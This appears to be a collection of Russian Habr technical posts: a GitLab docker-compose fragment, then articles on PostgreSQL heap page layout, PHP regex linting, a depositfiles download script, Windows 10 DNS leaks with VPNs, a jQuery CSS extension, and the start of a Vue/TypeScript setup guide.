- IMAP\_USER=GITLAB@yandex.ru
- IMAP\_PASS=
- IMAP\_SSL=true
- IMAP\_STARTTLS=false
- OAUTH\_ENABLED=false
- OAUTH\_AUTO\_SIGN\_IN\_WITH\_PROVIDER=
- OAUTH\_ALLOW\_SSO=
- OAUTH\_BLOCK\_AUTO\_CREATED\_USERS=true
- OAUTH\_AUTO\_LINK\_LDAP\_USER=false
- OAUTH\_AUTO\_LINK\_SAML\_USER=false
- OAUTH\_EXTERNAL\_PROVIDERS=
- OAUTH\_CAS3\_LABEL=cas3
- OAUTH\_CAS3\_SERVER=
- OAUTH\_CAS3\_DISABLE\_SSL\_VERIFICATION=false
- OAUTH\_CAS3\_LOGIN\_URL=/cas/login
- OAUTH\_CAS3\_VALIDATE\_URL=/cas/p3/serviceValidate
- OAUTH\_CAS3\_LOGOUT\_URL=/cas/logout
- OAUTH\_GOOGLE\_API\_KEY=
- OAUTH\_GOOGLE\_APP\_SECRET=
- OAUTH\_GOOGLE\_RESTRICT\_DOMAIN=
- OAUTH\_FACEBOOK\_API\_KEY=
- OAUTH\_FACEBOOK\_APP\_SECRET=
- OAUTH\_TWITTER\_API\_KEY=
- OAUTH\_TWITTER\_APP\_SECRET=
- OAUTH\_GITHUB\_API\_KEY=
- OAUTH\_GITHUB\_APP\_SECRET=
- OAUTH\_GITHUB\_URL=
- OAUTH\_GITHUB\_VERIFY\_SSL=
- OAUTH\_GITLAB\_API\_KEY=
- OAUTH\_GITLAB\_APP\_SECRET=
- OAUTH\_BITBUCKET\_API\_KEY=
- OAUTH\_BITBUCKET\_APP\_SECRET=
- OAUTH\_SAML\_ASSERTION\_CONSUMER\_SERVICE\_URL=
- OAUTH\_SAML\_IDP\_CERT\_FINGERPRINT=
- OAUTH\_SAML\_IDP\_SSO\_TARGET\_URL=
- OAUTH\_SAML\_ISSUER=
- OAUTH\_SAML\_LABEL="Our SAML Provider"
- OAUTH\_SAML\_NAME\_IDENTIFIER\_FORMAT=urn:oasis:names:tc:SAML:2.0:nameid-format:transient
- OAUTH\_SAML\_GROUPS\_ATTRIBUTE=
- OAUTH\_SAML\_EXTERNAL\_GROUPS=
- OAUTH\_SAML\_ATTRIBUTE\_STATEMENTS\_EMAIL=
- OAUTH\_SAML\_ATTRIBUTE\_STATEMENTS\_NAME=
- OAUTH\_SAML\_ATTRIBUTE\_STATEMENTS\_FIRST\_NAME=
- OAUTH\_SAML\_ATTRIBUTE\_STATEMENTS\_LAST\_NAME=
- OAUTH\_CROWD\_SERVER\_URL=
- OAUTH\_CROWD\_APP\_NAME=
- OAUTH\_CROWD\_APP\_PASSWORD=
- OAUTH\_AUTH0\_CLIENT\_ID=
- OAUTH\_AUTH0\_CLIENT\_SECRET=
- OAUTH\_AUTH0\_DOMAIN=
- OAUTH\_AZURE\_API\_KEY=
- OAUTH\_AZURE\_API\_SECRET=
- OAUTH\_AZURE\_TENANT\_ID=
- LDAP\_ENABLED=true
#- LDAP\_LABEL=nas
- LDAP\_HOST=172.21.0.1
- LDAP\_PORT=389
#- LDAP\_METHOD=start\_tls
- LDAP\_METHOD=plain
- LDAP\_UID=uid
- LDAP\_BIND\_DN=cn=admin,dc=nas,dc=nas
- LDAP\_PASS=
#- LDAP\_CA\_FILE=
# Default: false.
#- LDAP\_BLOCK\_AUTO\_CREATED\_USERS=true
- LDAP\_BASE=ou=users,dc=nas,dc=nas
- LDAP\_ACTIVE\_DIRECTORY=false
#- LDAP\_USER\_FILTER=(givenName=)
- LDAP\_USER\_FILTER=memberOf=cn=users\_code,ou=groups,dc=nas,dc=nas
- LDAP\_ALLOW\_USERNAME\_OR\_EMAIL\_LOGIN=true
gitlab-runner:
container\_name: gitlab-runner
image: gitlab/gitlab-runner:latest
networks:
- gitlab
volumes:
- /tank0/apps/gitlab/gitlab-runner/data:/home/gitlab\_ci\_multi\_runner/data
- /tank0/apps/gitlab/gitlab-runner/config:/etc/gitlab-runner
environment:
- CI\_SERVER\_URL=https://gitlab.NAS.cloudns.cc
restart: always
# registry:
# container\_name: docker-registry
# restart: always
# image: registry:2.4.1
# volumes:
# - /srv/gitlab/shared/registry:/registry
# - /srv/certs:/certs
# environment:
# - REGISTRY\_LOG\_LEVEL=info
# - REGISTRY\_STORAGE\_FILESYSTEM\_ROOTDIRECTORY=/registry
# - REGISTRY\_AUTH\_TOKEN\_REALM=http://git.labs.lc:10080/jwt/auth
# - REGISTRY\_AUTH\_TOKEN\_SERVICE=container\_registry
# - REGISTRY\_AUTH\_TOKEN\_ISSUER=gitlab-issuer
# - REGISTRY\_AUTH\_TOKEN\_ROOTCERTBUNDLE=/certs/registry-auth.crt
# - REGISTRY\_STORAGE\_DELETE\_ENABLED=true
# - REGISTRY\_HTTP\_TLS\_CERTIFICATE=/certs/registry.crt
# - REGISTRY\_HTTP\_TLS\_KEY=/certs/registry.key
# ports:
# - "0.0.0.0:5000:5000"
# networks:
# mynet:
# aliases:
# - registry.git.labs.lc
#
``` | https://habr.com/ru/post/418883/ | null | ru | null |
# Как Postgres хранит строки
Мне стало интересно разобраться, как PostgreSQL хранит данные на диске, и в процессе своего исследования я обнаружил несколько интересных фактов, которыми хочу с вами поделиться.
Мы будем рассматривать только файлы кучи (heap). Heap-файл — это просто файл записей. Не путайте heap-файл с heap-памятью. Хотя их использование очень похоже: хранение динамических данных.
### Как строки организованы в файлах
PostgreSQL разбивает файлы данных на сегменты. Размер сегмента фиксирован и обычно составляет 1 ГБ, но его можно изменить при компиляции, используя параметр `--with-segsize`. Когда размер таблицы или индекса превышает 1 ГБ, они разбиваются на сегменты по гигабайту. Такой подход позволяет избежать проблем на платформах с ограничением размера файла, 1 ГБ — очень консервативный выбор для любой современной платформы.
Данные хранятся на страницах фиксированного размера. Размер страницы обычно 8 КБ, который можно изменить при компиляции через параметр `--with-blocksize`. Хотя изменяют его редко. Страница в 8 КБ — компромисс между производительностью и надежностью. Если размер страницы слишком мал, строки не поместятся внутри страницы, а если слишком большой, существует риск сбоя записи, поскольку оборудование обычно гарантирует атомарность только для блоков фиксированного размера, который может отличаться от диска к диску (обычно в диапазоне от 512 до 4096 байт).
Страницы выглядят следующим образом:
**lp(1…N)** — массив указателей на строки (line pointer array). Указатель содержит логическое смещение на странице. Поскольку это массив, то все элементы имеют фиксированный размер, но количество элементов на странице может изменяться.
**row(1...N)** — непосредственно данные. Обычно они переменной длины и для доступа к определенному кортежу используются указатели строк. Строки добавляются от конца к началу страницы, а указатели строк — от начала к концу.
Область **special space** обычно используется при хранении индексов, например, для ссылок на соседние узлы в B-Tree. Для табличных данных не используется.
Указатели **lower** и **upper** указывают занятое пространство на странице. Таким образом, по разности (upper - lower) можно определить, используется страница или нет.
**Заголовок страницы (page header)** сам по себе не так уж и интересен, он содержит информацию о странице, включая указатели **lower** и **upper**. Его структура выглядит следующим образом:
| | | |
| --- | --- | --- |
| **Поле** | **Размер** | **Описание** |
| pd\_lsn | 8 байт | LSN: следующий байт после последнего байта записи xlog для последнего изменения на этой странице |
| pd\_checksum | 2 байта | Контрольная сумма страницы |
| pd\_flags | 2 байта | Биты признаков |
| pd\_lower | 2 байта | Смещение до начала свободного пространства |
| pd\_upper | 2 байта | Смещение до конца свободного пространства |
| pd\_special | 2 байта | Смещение до начала специального пространства (special space) |
| pd\_pagesize\_version | 2 байта | Информация о размере страницы и номере версии компоновки |
| pd\_prune\_xid | 4 байта | Самый старый неочищенный идентификатор XMAX на странице или ноль при отсутствии такового |
У такого способа хранения данных есть несколько особенностей:
* Во-первых, кортежи не могут занимать несколько страниц. Невозможно напрямую хранить очень большие значения полей. Значения больших полей сжимаются и/или разбиваются на несколько физических строк.
* Во-вторых, максимальное количество столбцов ограничено от 250 до 1600 в зависимости от типа столбца.
* В-третьих, если вы полагаете, что указав в select только нужные столбцы для таблицы с несколькими столбцами, запрос будет выполняться быстрее из-за меньшего количества дисковых операций ввода-вывода, то это не так.
* Такой тип хранилища не оптимизирован для аналитических рабочих нагрузок, потому что необходимо считывать с диска данные, не имеющие отношения к запросу. Поэтому большинство аналитических баз данных (OLAP), таких как Vertica, используют колоночное хранилище.
### Заглянем внутрь страниц
Давайте попробуем заглянуть внутрь страницы и посмотрим, какие у PostgreSQL есть инструменты для этого. Начнем с создания базы данных и таблицы с дальнейшим заполнением ее некоторыми данными.
```
postgres=# \c hail_mary ;
You are now connected to database "hail_mary" as user "postgres".
hail_mary=#
hail_mary=# create table users(id int, name text);
CREATE TABLE
hail_mary=# insert into users(id, name)
select i,md5(i::text)::text from generate_series(1, 50000, 1) as i;
INSERT 0 50000
hail_mary=# select * from users limit 5;
id | name
----+----------------------------------
1 | c4ca4238a0b923820dcc509a6f75849b
2 | c81e728d9d4c2f636f067f89cc14862c
3 | eccbc87e4b5ce2fe28308fd9f2a7baf3
4 | a87ff679a2f3e71d9181a67b7542122c
5 | e4da3b7fbbce2345d7772b0674a318d5
(5 rows)
```
Для каждой строки PostgreSQL создает внутренний уникальный идентификатор, который обычно не виден пользователям. Но его можно запросить явно.
```
hail_mary=# select ctid, * from users limit 5;
ctid | id | name
-------+----+----------------------------------
(0,1) | 1 | c4ca4238a0b923820dcc509a6f75849b
(0,2) | 2 | c81e728d9d4c2f636f067f89cc14862c
(0,3) | 3 | eccbc87e4b5ce2fe28308fd9f2a7baf3
(0,4) | 4 | a87ff679a2f3e71d9181a67b7542122c
(0,5) | 5 | e4da3b7fbbce2345d7772b0674a318d5
(5 rows)
```
Первая цифра в `ctid` — это номер страницы, а вторая — номер кортежа. Использование физических строк на странице, мы можем наблюдать при запуске `VACUUM` для дефрагментации страницы. Давайте удалим одну запись и вставим новую.
```
hail_mary=# select ctid, * from users OFFSET 49995 limit 5;
ctid | id | name
----------+-------+----------------------------------
(416,76) | 49996 | 2acfa04df8cc1e5b051866c32f9eb072
(416,77) | 49997 | 87aa98d07ec242cc4d8f685f0299257b
(416,78) | 49998 | 12775d2a4498f0ec748a4beed90e5ad2
(416,79) | 49999 | c703af5c89b1d0bc2e99f540f553f182
(416,80) | 50000 | 1017bfd4673955ffee4641ad3d481b1c
(5 rows)
hail_mary=#
hail_mary=# delete from users where name = 'c703af5c89b1d0bc2e99f540f553f182';
DELETE 1
hail_mary=# insert into users VALUES(9999999, 'ryland grace');
INSERT 0 1
hail_mary=# select ctid, * from users OFFSET 49995 limit 5;
ctid | id | name
----------+---------+----------------------------------
(416,76) | 49996 | 2acfa04df8cc1e5b051866c32f9eb072
(416,77) | 49997 | 87aa98d07ec242cc4d8f685f0299257b
(416,78) | 49998 | 12775d2a4498f0ec748a4beed90e5ad2
(416,80) | 50000 | 1017bfd4673955ffee4641ad3d481b1c
(416,81) | 9999999 | ryland grace
(5 rows)
```
Здесь мы видим, что PostgreSQL оставил физическую строку с name равным `c703af5c89b1d0bc2e99f540f553f182`, которая была удалена, и добавил данные на новую физическую строку. Давайте запустим `VACCUM`.
```
hail_mary=# VACUUM FULL;
hail_mary=# select ctid, * from users OFFSET 49995 limit 5;
ctid | id | name
----------+---------+----------------------------------
(416,76) | 49996 | 2acfa04df8cc1e5b051866c32f9eb072
(416,77) | 49997 | 87aa98d07ec242cc4d8f685f0299257b
(416,78) | 49998 | 12775d2a4498f0ec748a4beed90e5ad2
(416,79) | 50000 | 1017bfd4673955ffee4641ad3d481b1c
(416,80) | 9999999 | ryland grace
(5 rows)
```
VACCUM, как и ожидалось, дефрагментировал страницу, переместив кортежи.
Выглядит это следующим образом:
До удаленияПосле удаления и вставкиПосле VacuumМы также можем заглянуть внутрь страниц с помощью расширения `pageinspect`.
```
hail_mary=# create extension pageinspect;
CREATE EXTENSION
```
Взглянем на последнюю страницу (416).
```
hail_mary=# select * from page_header(get_raw_page('users', 416));
lsn | checksum | flags | lower | upper | special | pagesize | version | prune_xid
-----------+----------+-------+-------+-------+---------+----------+---------+-----------
0/428E4F0 | 0 | 0 | 344 | 3088 | 8192 | 8192 | 4 | 0
```
Указатель `lower` равен `344`, а `upper` `3088`, то есть свободного места на этой странице `2744` байт.
Указатель `special` указывает на 8192 — это конец страницы. Можно сделать вывод, что данных в special space нет.
Посмотрим еще на предыдущую страницу — мы ожидаем, что на этой странице недостаточно свободного места.
```
hail_mary=# select * from page_header(get_raw_page('users', 415));
lsn | checksum | flags | lower | upper | special | pagesize | version | prune_xid
-----------+----------+-------+-------+-------+---------+----------+---------+-----------
0/428CF58 | 0 | 0 | 504 | 512 | 8192 | 8192 | 4 | 0
(1 row)
```
Как и ожидалось, 8 байт недостаточно для хранения `id` + `name`.
Также можем заглянуть внутрь элементов страницы, используя следующий запрос:
```
hail_mary=# select * from heap_page_items(get_raw_page('users', 416)) offset 78 limit 2;
lp | lp_off | lp_flags | lp_len | t_xmin | t_xmax | t_field3 | t_ctid | t_infomask2 | t_infomask | t_hoff | t_bits | t_oid | t_data
----+--------+----------+--------+--------+--------+----------+----------+-------------+------------+--------+--------+-------+------------------------------------------------------------------------------
79 | 3136 | 1 | 61 | 11780 | 0 | 0 | (416,79) | 2 | 2818 | 24 | | | \x50c30000433130313762666434363733393535666665653436343161643364343831623163
80 | 3088 | 1 | 41 | 11783 | 0 | 0 | (416,80) | 2 | 2818 | 24 | | | \x7f9698001b72796c616e64206772616365
```
#### Ссылки
* [Database Physical Storage](https://www.postgresql.org/docs/9.5/storage.html)
* [Расширение PageInspect](https://www.postgresql.org/docs/12/pageinspect.html)
* [Row storage in PostgreSQL, heap file page layout](https://www.youtube.com/watch?v=L-dw1yRFYVg)
* [Database Storage I (CMU Databases Systems / Fall 2019)](https://www.youtube.com/watch?v=1D81vXw2T_w)
---
Материал подготовлен в преддверии старта онлайн-курса [«Базы данных».](https://otus.pw/RKGN/) | https://habr.com/ru/post/699812/ | null | ru | null |
# Статический анализ кода в PHP: регулярные выражения
Продолжая развивать тему статического анализа, который в общем случае занимается поиском любых дефектов в исходных кодах программ, давайте коснёмся проверки правильности регулярных выражений.
Тема регулярных выражений для PHP довольно щекотлива (примерно как манипулирование массивами), поэтому я вкратце напомню, с чем мы имеем дело.
Регулярные выражения используются для анализа и обработки текста, например, проверки правильности электронного адреса или номера телефона. Несмотря на их гибкость, человеку трудно воспринимать регулярные выражения — можно легко ошибиться в описании шаблона и выборе модификаторов. Нередко встречается употребление регулярных выражений там, где можно обойтись простыми строковыми функциями.
Итак, давайте посмотрим, на примере многим знакомых ZF2 и Symfony2, какие из упомянутых проблем можно найти с помощью статического анализа.
Инструменты
-----------
В качестве инструментов были использованы [PhpStorm](https://www.jetbrains.com/phpstorm/) и статический анализатор кода [Php Inspections (EA Extended)](https://plugins.jetbrains.com/plugin/7622?pr=phpStorm), который ставится как расширение (плагин).
Php Inspections (EA Extended) содержит большой набор правил, разделенных по группам. Если вы ещё не пользовались этим плагином, то первое, что стоит сделать — это проанализировать весь проект. Второе — это настроить под себя Code Style инспекции (Settings -> Editor -> Inspections -> PHP -> Php Inspections (EA Extended)), чтобы сфокусироваться на других сообщениях.
И, конечно, не стоит слепо верить анализаторам: семантика проектов — вещь нетривиальная. Обязательно убедитесь, что код покрыт тестами до внесения изменений — работа со статическими анализаторами требует определенной техники безопасности.
Примеры дефектов
================
В основном, были найдены мелкие недочёты и всего одна ошибка. Это неудивительно, поскольку оба фреймворка хорошо оптимизированы и протестированы: найти что-то серьёзное очень трудно.
ZF2
---
> Предупреждение: 'str\_replace("-", ...)' can be used instead
```
return preg_replace('#-#', $this->separator, $value);
/*
* Эффективнее будет использовать следующую конструкцию,
* т.к. не нужно разбирать и сопоставлять регулярное выражение.
*
* return str_replace('-', $this->separator, $value);
*/
```
> Предупреждение: '0 === strpos("...", «get»)' can be used instead
```
if (preg_match('/^get/', $method)) {
...
}
/*
* Случай, похожий на предыдущий, когда
* можно использовать базовые функции для работы со строками.
*
* if (0 === strpos($method, 'get')) {
* ...
* }
*/
```
> Предупреждение: '[0-9]' can be replaced with '\d' (safe in non-unicode mode)
```
if (!preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $host)) {
...
}
/*
* Замена не меняет поведения выражения до тех пор пока мы не добавим /u
* С /u шаблон сможет работать с юникод-числами, например, с арабскими.
*
* if (!preg_match('/^(\d{1,3}\.){3}\d{1,3}$/', $host)) {
* ...
* }
*/
```
> Предупреждение: '[^\s]' can be replaced with '\S' (как варианты: \D, \W)
```
if ($property->isPublic() && preg_match_all('/@var\s+([^\s]+)/m', $property->getDocComment(), $matches)) {
...
}
/*
* Замена на \S не меняет поведения, и это, скорее, приведение к каноническому виду.
*/
```
> Предупреждение: 'i' modifier is ambiguous here (no a-z in given pattern)
```
if (preg_match('/([^.]{2,10})$/iu', end($domainParts), $matches)
|| (array_key_exists(end($domainParts), $this->validIdns))) {
...
}
/*
* /i бесполезен, т.к. в шаблоне нет буквенных символов.
*/
```
Symfony2
--------
> Предупреждение: 'false !== strpos("...", «file»)' can be used instead
```
return preg_match('/file/', $this->getFilename());
/*
* Эффективнее будет использовать следующую конструкцию,
* т.к. не нужно разбирать и сопоставлять регулярное выражение.
*
* return false !== strpos($this->getFilename(), 'file');
*/
```
> Предупреждение: '[^A-Za-z0-9\_]' can be replaced with '\W' (safe in non-unicode mode)
```
$gotoname = 'not_'.preg_replace('/[^A-Za-z0-9_]/', '', $name);
/*
* Замена на \W не меняет поведения, и это, скорее, приведение к каноническому виду.
*/
```
> Предупреждение: '[a-zA-Z0-9\_]' can be replaced with '\w' (safe in non-unicode mode)
```
return '' === $name || null === $name || preg_match('/^[a-zA-Z0-9_][a-zA-Z0-9_\-:]*$/D', $name);
/*
* Замена на \w не меняет поведения, и это, скорее, приведение к каноническому виду.
*/
```
> Предупреждение: Probably /s modifier is missing (nested tags are not recognized)
```
$content = preg_replace('#.\*?#', '', $content);
/*
* А вот это уже ошибка: переносы строки во вложенных тегах не учитываются.
* Необходимо указать модификатор /s
*/
```
Вместо заключения
=================
Во-первых, я хочу подчеркнуть, что статические анализаторы — это такой же инструмент, как, скажем, XDebug. Например, с Php Inspections (EA Extended) анализ возможных ошибок идёт в процессе написания кода. Стоимость такого «внедрения» нулевая, а трудоёмкость рецензирования и обучения коллег заметно снижается.
Во-вторых, хочу поблагодарить [Denis Ryabov](https://bitbucket.org/dryabov), который предложил идею и проработал спецификацию для анализа регулярных выражений в Php Inspections (EA Extended), большое ему спасибо за это. | https://habr.com/ru/post/260185/ | null | ru | null |
# Закачка файлов с depositfiles.com из консоли
*Пост не мой — просто попросили закинуть. Если понравилось, то почта автора для инвайта: ~~jeka.eee.12@gmail.com~~. Уже получено — спасибо!*
Функция для скриптов на bash, предназначенная для автоматизации скачивания файлов с файлообменника Depositefiles.com:
`down_deposit()
{
wget -O- -q --post-data 'gateway_result=1' "http://depositfiles.com/ru/files/$(basename ${1})" |
sed -n -r -e 's/.*
}`
Как работает функция:
* переход по ссылке на страницу с выбором варианта скачивания («Платно»/»Бесплатно»)
* «нажатие» на кнопочу «Бесплатно» путём отправки –post-data с параметром ‘gateway\_result=1’
* после нажатия на кнопку происходит поиск прямой ссылки на файл в исходном коде страницы
* когда ссылка найдена начинается загрузка файла.
* бывает такое что Вы скачали слишком большое количество файлов за раз и сайт вам говорит что нужно подождать некоторое время. Если такое случилось, то скрипт терпеливо ждёт это время и после истечения начинает загрузку файла.
Можно, естественно, просто сохранить вышеприведенные строчки в файле и вызывать скрипт «down\_deposit <ссылка\_на\_скачивание>». :-)
Спасибо за внимание… | https://habr.com/ru/post/82703/ | null | ru | null |
# Особенности резолвера DNS в Windows 10 и DNS Leak
**TL;DR:** DNS-резолвер в Windows 10 отправляет запросы на все известные системе адреса DNS-серверов параллельно, привязывая запрос к интерфейсу, и использует тот ответ, который пришел быстрее. В случае, если вы используете DNS-сервер из локального сегмента, такое поведение позволяет вашему провайдеру или злоумышленнику с Wi-Fi-точкой подменять записи DNS, даже если вы используете VPN.
Современные версии Windows добавляют головные боли активным пользователям VPN. DNS-резолвер до Windows 7 включительно имел предсказуемое поведение, совершая запросы к DNS-серверам в порядке очереди и приоритета DNS-серверов, в общем-то, как и все остальные ОС. Это создавало так называемый DNS Leak (утечка DNS-запроса через внешний интерфейс при подключенном VPN) только в том случае, если DNS-сервер внутри VPN-туннеля не ответил вовремя, или ответил ошибкой, и, в целом, не являлось такой уж вопиющей проблемой.
### Windows 8
С выходом Windows 8, Microsoft добавила весьма интересную функцию в DNS-резолвер, которая, как я могу судить по Google, осталась совершенно незамеченной: Smart Multi-Homed Name Resolution. Если эта функция включена (а она включена по умолчанию), ОС отправляет запросы на все известные ей DNS-серверы на всех сетевых интерфейсах параллельно, привязывая запрос к интерфейсу. Сделано это было, вероятно, для того, чтобы уменьшить время ожидания ответа от предпочитаемого DNS-сервера в случае, если он по каким-то причинам не может ответить в отведенный ему таймаут (1 секунда по умолчанию), и сразу, по истечении таймаута, отдать ответ от следующего по приоритету сервера. Таким образом, в Windows 8 и 8.1 все ваши DNS-запросы «утекают» через интернет-интерфейс, позволяя вашему провайдеру или владельцу Wi-Fi-точки просматривать, на какие сайты вы заходите, при условии, что ваша таблица маршрутизации позволяет запросы к DNS-серверу через интернет-интерфейс. Чаще всего такая ситуация возникает, если использовать DNS-сервер внутри локального сегмента, такие DNS поднимают 99% домашних роутеров.
Данную функциональность можно отключить, добавив в ветку реестра:
`HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\DNSClient`
Параметр типа DWORD с названием:
`DisableSmartNameResolution`
и любым значением, отличным от нуля, что возвращало старое поведение резолвера.
### Windows 10
Хоть Windows 8 и 8.1 отправляли все ваши запросы без вашего ведома через публичный интерфейс, совершить подмену DNS-ответа таким образом, чтобы перенаправить вас на поддельный сайт, было проблематично для злоумышленника, т.к. ОС бы использовала подмененный ответ только в том случае, если не удалось получить правильный ответ от предпочитаемого DNS-сервера, коим является сервер внутри шифрованного туннеля.
Все изменилось с приходом Windows 10. Теперь ОС не только отправляет запрос через все интерфейсы, но и использует тот ответ, который быстрее пришел, что позволяет практически всегда вашему провайдеру перенаправить вас на заглушку о запрещенном сайте или злоумышленнику на поддельный сайт. Более того, способ отключения Smart Multi-Homed Name Resolution, который работал в Windows 8.1, не работает на новой версии.
Единственный приемлемый (хоть и не самый надежный) способ решения проблемы — установить DNS на интернет-интерфейсе вне локального сегмента, например, всем известные 8.8.8.8, однако, он не поможет в случае с OpenVPN. Для OpenVPN единственным (и некрасивым) решением является [временное отключение DNS на интернет-интерфейсе скриптами](https://www.dnsleaktest.com/how-to-fix-a-dns-leak.html).
**UPD:** ранее в статье рекомендовалось использовать параметр `redirect-gateway` без `def1` для OpenVPN. Оказывается, Windows возвращает маршрут по умолчанию от DHCP-сервера при каждом обновлении IP-адреса, и через какое-то время весь ваш трафик начинал бы ходить в обход VPN. На данный момент, красивого решения не существует.
**UPD2:** [Я написал плагин](https://github.com/ValdikSS/openvpn-fix-dns-leak-plugin).
**UPD3:** Windows 10, начиная с Creators Update, теперь отправляет DNS-запросы на все известные адреса DNS-серверов по порядку, а не параллельно, начиная со случайного интерфейса. Чтобы повысить приоритет конкретного DNS, необходимо уменьшить метрику интерфейса. Сделал патч для OpenVPN, надеюсь, его включат в 2.4.2: <https://sourceforge.net/p/openvpn/mailman/message/35822231/>
**UPD4:** Обновление вошло в OpenVPN 2.4.2. | https://habr.com/ru/post/264503/ | null | ru | null |
# Расширяем функционал jQuery по работе со стилями
Работая с jQuery легкое неудобство доставляет применение большого количества свойств CSS правил к тегам. Решение этой задачи в большинстве случаев сводиться к повторению `$.(“селектор”).css(“свойство”, “значение”);`, что не есть хорошо, но несколько строк кода исправили ситуацию.
Каким образом? Читаем ниже.
##### 43 строки — все расширение
Идея, положенная в основу – следующая:
С помощью регулярных выражений разбираем CSS файл на правила (`getStyles`), правила на свойство-значение (`setStyle`), и применяем к загруженному документу.
И, собственно, реализация.
> `$.fn.extend({
>
> setStyle : **function** (selector, rulesString) {
>
> **var** rules = (rulesString+';').match(/([^:]+)\:([^\;]\*)\;/gi);
>
> **for** (**var** id **in** rules) {
>
> rules[id].replace(/[\s]\*([^\s]+)[\s]\*\:([^\;]\*)\;/gi,
>
> **function**(rule, propery, value) {
>
> $(selector).css(propery, value)
>
> })
>
> }
>
> },
>
> getStyles : **function** (styleRef){
>
> **var** styles = styleRef.replace(/\/\\*(.|\s)\*?\\*\//gi, "", "$1").match(/[^\}]\*\{([^\}]\*)\}/gi);
>
> **for** (**var** id **in** styles) {
>
> styles[id].replace(/\s+/gi, " ", "$1").replace(/([^\{]\*)\{([^\}]+)\}/gi,
>
> **function** (style, selector, rules){
>
> $.fn.setStyle(selector, rules)
>
> });
>
> }
>
> },
>
> _css : **function**(styleRef) {
>
> **if** (/.\*\.css/gi.test(styleRef)) {
>
> $.ajax({
>
> type: "GET",
>
> url: styleRef,
>
> success: **function**(retValue) {
>
> $.fn.getStyles(retValue)
>
> },
>
> error: **false**
>
> })
>
> } **else** **if** (/[^\}]\*\{([^\}]\*)\}/gi.test(styleRef)) {
>
> $.fn.getStyles(styleRef)
>
> } **else** {
>
> $.fn.setStyle(**this**.selector, styleRef)
>
> }
>
> **return** **true**
>
> }
>
> })
>
>
>
> $.extend({
>
> _css: **function**(styleRef) {
>
> **return** $.fn._css(styleRef)
>
> }
>
> })`
Colored with [dumpz.org](http://dumpz.org)
В сжатом виде файл весит 700 байт.
##### А что оно может?
А может оно следующее:
* Загружать стили из файла, например так `$._css("../css/style.css")`;
* Применять к тегам стили, указанные по правилам CSS так `$._css("div {color2: red; font-size: 16px;}");`, или так `$("p")._css("font-weight: bold; color: green;");`
* И последняя, не очень явная возможность: *использовать селекторы jQuery в CSS-файлах*
##### Тестирование и результаты
Тестирование проводилось на наборе:
* Denwer
* Google Chrome 9.0.597...
* CMS PHP-Fusion v7.01.05
* Это самое расширение
Суть теста следующая: в теме выбранной CMS за стили отвечает один файл — `style.css`, его и грузим скриптом и без него, замеряя время с помощью инструментов разработчика Chrome. Работу скрипта замеряем посылом в консоль сообщений типа `var currentDate = new Date(); console.log("Закончили обработку " + currentDate.getTime() + "ms");`
По результатам нескольких измерений оценим скорость загрузки.
В картинке ниже слева данные по работе скрипта, справа хронометраж загрузки css без него. Колонки по порядку:1. Скорость загрузки со страницы Network
2. Скорость замеренная по сообщениям консоли (почему-то выше, хотя замер производился перед и после GET запроса)
3. Скорость применения правил стилей к документу
4. Сумма
Разница по времени получилась равной 12%, что приблизительно = 10ms, так что можно сказать, что работа расширения не заметна, по крайней мере в Chrome. | https://habr.com/ru/post/114913/ | null | ru | null |
# Идеальное Vue приложение на Typescript
Пока Vue 3 официально еще не вышел, а в продакшене в основном 2 версия - я хочу поговорить о типизации и о том, что она все еще не идеальна во Vue. И сегодня мы попробуем создать идеальное приложение с типизацией на typescript сделав упор на code style, пропагандируя [vue style guide](https://vuejs.org/v2/style-guide/) и прочие обычно не значащие вещи, которые были придуманы умными людьми.
РемаркаСтоит учитывать, что автор пишет первый свой пост и хотел бы услышать фидбек в комментариях
Почему "идеальное"?
-------------------
Недавно я осознал всю важность стайл-гайдов, очень уперся в качество кода, настройки автоформатирования (eslint) и многие другие вещи, такие как [conventional commits](https://www.conventionalcommits.org/en/v1.0.0/), например. Помимо этого я понял, что мне очень нравится, когда мой код подходит под все международные стандарты и принципы, это ли не признание самого себя как неплохого разработчика (*риторический вопрос*)? Возможно, вы дошли до этого раньше меня и продвинулись еще дальше и увидите в статье недостатки - добро пожаловать в комментарии с объективной критикой.
Какие проблемы с типизацией у Vue?
----------------------------------
Версия 2 принесла и популизировала typescript в компонентах и в хранилище (store), но оставила бреши в связи их между собой, store все еще не подсказывает типизацию в компонентах, и это плохо. Следить в ручную можно за чем угодно, но зачем, если можно это исправить и автоматизировать? Чтобы улучшить типизацию мы будем использовать [vue-property-decorator](https://github.com/kaorun343/vue-property-decorator) для компонентов и [vuex-smart-module](https://github.com/ktsn/vuex-smart-module) для прокидывания типов из стора.
Создание проекта и его настройка
--------------------------------
Тут все просто, сначала вызываем vue cli и выбираем галочки.
```
vue create habratest
```
Наш выбор - vue2, все features, Vue Router History Mode, Vue Class Components, и другие настройки как на скриншоте ниже. Тесты настраиваем по вкусу, в этой статье их касаться не будем.
Vue CLI настройки создания проектаТакже я рекомендую в графе "Разнести конфиги всего и вся в разные файлы" ставить галочку.
Стили и красота, пока вся тяжесть человеческого прогресса грузится вам в node\_modulesВ этой статье не будет визуализации и красоты интерфейса, вы можете подключить любую библиотеку внутрь проекта и использовать ее. Мой выбор - [vue-bootstrap](https://bootstrap-vue.org) для легких проектов и [quasar](https://quasar.dev) для больших. А сегодня красота у нас в коде.
Настройка eslint
----------------
Первым делом идем менять настройки. Меняем **extends** на код ниже - это позволит eslint проверять ваш код более строго - в соответствии с [Vue style guide](https://vuejs.org/v2/style-guide/) - в соответствии с низшим приоритетом ошибок - *recommended.*
```
extends: [
'plugin:vue/recommended',
'@vue/typescript/recommended'
],
```
Это половина победы, изменение eslint таким образом поможет вам строже соблюдать style guide и в существующем проекте, но будьте осторожны, нередко что-то может пойти не так.
Да, это даже во Vue cli шаблоне исправит пару ошибокЧто в eslint можно отключитьНичего. Это все поможет вам в написании кода и менять я ничего не рекомендую. Единственное правило, которое можно исключить из проверки - это директива [v-html](https://eslint.vuejs.org/rules/no-v-html.htmlhttps://eslint.vuejs.org/rules/no-v-html.html), которая нередко встречается в старой кодовой базе. Но подобное подчеркивание позволит собрать проект и будет лишним напоминанием для вас, так что лучше оставить.
Заодно давайте включим правила для [отслеживания одинарных кавычек](https://eslint.org/docs/rules/quotes) и [удаления лишних точек с запятой](https://eslint.org/docs/rules/semi) - добавим в массив *rules* в этом же файле следующие строку:
```
"semi": [2, "never"],
"quotes": [2, "single", { "avoidEscape": true }]
```
Установка и настройка "правильного" Vuex
----------------------------------------
```
